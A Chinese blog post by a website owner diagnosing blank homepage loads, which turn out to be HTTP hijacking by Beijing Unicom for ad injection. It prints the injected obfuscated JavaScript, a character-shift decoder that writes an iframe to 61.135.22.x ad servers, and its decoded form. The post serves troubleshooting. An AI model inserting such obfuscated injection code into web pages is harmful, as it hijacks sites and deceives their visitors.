北京联通影响网站解决~ 61.135.22.*

    最近网站出现一个奇怪的现象，当打开网站首页的时候，总会有几次出现空白页面什么也没有，右击查看源代码只出现一段混淆和压缩过的Js代码，如下：

01

<script>

02

var d = "=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?gvodujpo!mpbeBuusjcvuf)*|wbs!g>epdvnfou/hfuFmfnfouCzJe)#g#*<wbs!tfswfs>#iuuq;0072/246/33/35;91#<wbs!sfrvjsfe>#beje>311172'uddb>N{BxNEBxOEhzOUlx'vsjq>4833353343'psmv>bIS1dEpwM4e4ez6uc4iqeT6kc31>'tqje>3483:46:35'bsfb>78'ut>2487989947#<jg)tfmg/epdvnfou/mpdbujpo>>xjoepx/epdvnfou/VSM!''!epdvnfou/cpez/dmjfouXjeui?>611!''!epdvnfou/cpez/dmjfouIfjhiu?>611*|g/tsd>tfswfs,#0b0t@g>betuzmf`nto/iunm'#,s";

03	function i(_, __) {

04

_ += __;

05	var $ = "";

06	for (var u = 0; u < _.length; u++) {

07	var r = _.charCodeAt(u);

08	$ += String.fromCharCode(r - 1);

09

}

10

return $;

11

}

12

var c = "frvjsfe,#'bpsmv>bIS1dEpwM3KrMoewb4Wicj6kcj:4[XJwZ3yq[X61doWt[YCwdIWxM4SqcXWgd4S2[HWveIOxc4C2dD6xbIB>'q2bsn>411'q3bsn>411'q4bsn>71'q5bsn>6'q6bsn>21'q7bsn>2'bqqe>1'ibtDpvou>2'ibtXijufVtfs>2#<~fmtf|g/tsd>tfswfs,#0b0q@#,sfrvjsfe,#'qvtiGmbh>1#<~~=0tdsjqu?=0ifbe?=cpez!pompbe>#mpbeBuusjcvuf)*#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op?=jgsbnf!je>#g#!gsbnfCpsefs>1!xjeui>211&!ifjhiu>211&!tdspmmjoh>bvup!tsd>##?=0jgsbnf?=0cpez?=0iunm?";

13	document.write(i(d, c));

14

</script>

    并且用firebug查看时，在body里生成一个iframe，且src指向 http://61.135.22.23/adstyle_msn.html?adid=200061&tcca=MzAwMDAwOTE4NjE5&urip=3733107918&orlu=aHR0cDovL3d3dy5tb3hpdS5jb20=&spid=3248233444&area=67&ts=1376618340&aorlu=aHR0cDovL2JqLndva3Vhbi5jbi93ZWIvY2xpZW50cnVsZXBvcHVwL3RpbWVfc3R1ZGVudHNwb3B1cC5waHA=&p1arm=300&p2arm=300&p3arm=60&p4arm=5&p5arm=10&p6arm=1&appd=0&hasCount=1&hasWhiteUser=1

    

    而且body中会出现id=b οnlοad="loadAttribute()" rightMargin=0 topMargin=0 leftMargin=0 scroll=no 这些属性或事件。但是网站代码中并没有这些js的应用与引用，而且计算机也没有中毒。并且在运行过程中会生成loadAttribute方法，如下：

<script type="text/javascript">
	function loadAttribute(){
		var f=document.getElementById("f");
		var server="http://61.135.22.24:80";
		var required="adid=200061&tcca=MzAwMDAwNDgyNTkw&urip=3722242232&orlu=aHR0cDovL3d3dy5tb3hpdS5jb20=&spid=2372935924&area=67&ts=1376878836";
		if(self.document.location==window.document.URL && document.body.clientWidth>=500 && document.body.clientHeight>=500)
		{
			f.src=server+"/a/s?f=adstyle_msn.html&"+required+"&aorlu=aHR0cDovL2JqLndva3Vhbi5jbi93ZWIvY2xpZW50cnVsZXBvcHVwL3RpbWVfc3R1ZGVudHNwb3B1cC5waHA=&p1arm=300&p2arm=300&p3arm=60&p4arm=5&p5arm=10&p6arm=1&appd=0&hasCount=1&hasWhiteUser=1";
		}else{
			f.src=server+"/a/p?"+required+"&pushFlag=0";
		}
	}
</script>

    在多次遇到的情况，都相似，唯一的区别就是ip会更改，但都是以61.135.22.*开始的，21、22、23都会有。当时一度怀疑网站被挂马，但这种情况也不像呀，最后，多过各种搜索，才查到这种问题是由于北京联通http劫持广告导致的。北京联通会给你的网站进行广告推送，可能会在右下角弹出框显示广告，但是不知为什么，网站没有显示广告，导致网站首页出现空白。于是，赶紧给联通客服打电话，才恢复过来。暂时是没事了，但是以后说不定又....

    以后大家遇到这种情况，无故弹出广告或影响网站正常显示的，并且js代码就是这种格式的，就不用跑到服务器、网站代码去挨个检查了，直接找运营商就行了。。。。次奥~